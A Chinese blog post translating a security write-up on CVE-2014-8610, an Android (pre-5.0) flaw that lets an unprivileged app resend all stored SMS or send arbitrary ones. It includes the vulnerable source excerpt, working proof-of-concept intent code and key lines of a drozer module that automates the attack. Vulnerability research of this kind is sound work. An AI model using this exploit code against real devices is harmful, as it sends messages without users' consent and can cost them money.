CVE-2014-8610 短信重發漏洞

目錄

前言

研究百度Xteam發現的CVE-2014-8610短信重發漏洞,因爲原文是英文順便翻譯了一下,原文地址[1]。


漏洞介紹

在安卓5.0以下,一個未授權的app可以重新發送存儲在用戶手機裏的所有短信,短信按照以前的發送人和接收人一一發送。更糟糕的是惡意軟件同樣可以在未授權的情況下建立存儲草稿,一個組合技就能發送任意短信了。


漏洞細節

漏洞源碼地址[2],如果惡意軟件發送廣播“com.android.mms.transaction.MESSAGE_SENT”,並且發送結果碼RESULT_ERROR_RADIO_OFF,它會觸發源碼裏的handleSmsSent方法,如以下代碼:

private void handleSmsSent(Intent intent, int error) {
…
} else if ((mResultCode == SmsManager.RESULT_ERROR_RADIO_OFF) || (mResultCode == SmsManager.RESULT_ERROR_NO_SERVICE)) {
if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE)) {
Log.v(TAG, “handleSmsSent: no service, queuing message w/ uri: ” + uri);
}
// We got an error with no service or no radio. Register for state changes so
// when the status of the connection/radio changes, we can try to send the
// queued up messages.
registerForServiceStateChanges();
// We couldn’t send the message, put in the queue to retry later.
Sms.moveMessageToFolder(this, uri, Sms.MESSAGE_TYPE_QUEUED, error);
…

如源碼註釋所說,handleSmsSent得到一個沒有服務或者廣播被關閉的錯誤,調用registerForServiceStateChanges方法改變狀態,將短信加入隊列中,以後發送。


POC

Intent intent= new Intent(“com.android.mms.transaction.MESSAGE_SENT”);
intent.setData(Uri.parse(“content://sms”));
intent.setClassName(“com.android.mms”, “com.android.mms.transaction.SmsReceiver”);
sendOrderedBroadcast(intent,null,null,null,SmsManager.RESULT_ERROR_RADIO_OFF,null,null); 

注意:
1.uri不指定ID的話,意味着全部短信重發,如:content://sms
2.必須使用顯示intent
3.一旦短信被加入隊列就會自動發送出去

我們可以先創建一個草稿信件,來達到發送任意短信的目的:

Intent intent1 = new Intent(“android.intent.action.SENDTO”);
intent1.setData(Uri.parse(“smsto:yourphonenumber”));
intent1.putExtra(“sms_body”, “another test sms1!”);
startActivity(intent1); 

發送以上intent後,app可以等待一會然後開啓其他的activity,這樣就會觸發ComposeMessageActivity在MMS應用程序中調用方法onStop(),發送的短信會保存草稿到數據庫。


drozer模塊

模塊源碼地址[3],模塊的安裝可以直接遠程安裝

module install whfs.smsdraftsend

以下是模塊的關鍵代碼:

self.stdout.write("[+] Drafting SMS message to send.\n")
        #sleep(2)
        self.draftsms(arguments)

        self.stdout.write("[+] Calling app to send message to drafts.\n")
        #sleep(2)
        intent = android.Intent(component=(arguments.component[0], arguments.component[1]), flags=['ACTIVITY_NEW_TASK'])
        if intent.isValid():
            self.getContext().startActivity(intent.buildIn(self))
        else:
            self.stderr.write("[-] Invalid App Activity Intent!\n")

        sleep(2)

        self.stdout.write("[+] Sending draft messages.\n")
        self.smsordered(arguments, self.RESULT_ERROR_RADIO_OFF)

self.stdout.write("[+] Message sent.\n")

參考:
[1]http://xteam.baidu.com/?p=164
[2]https://android.googlesource.com/platform/packages/apps/Mms/+/android-4.4.4_r2.0.1/src/com/android/mms/transaction/SmsReceiverService.java
[3]https://github.com/mwrlabs/drozer-modules/blob/master/whfs/smsdraftsend.py

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章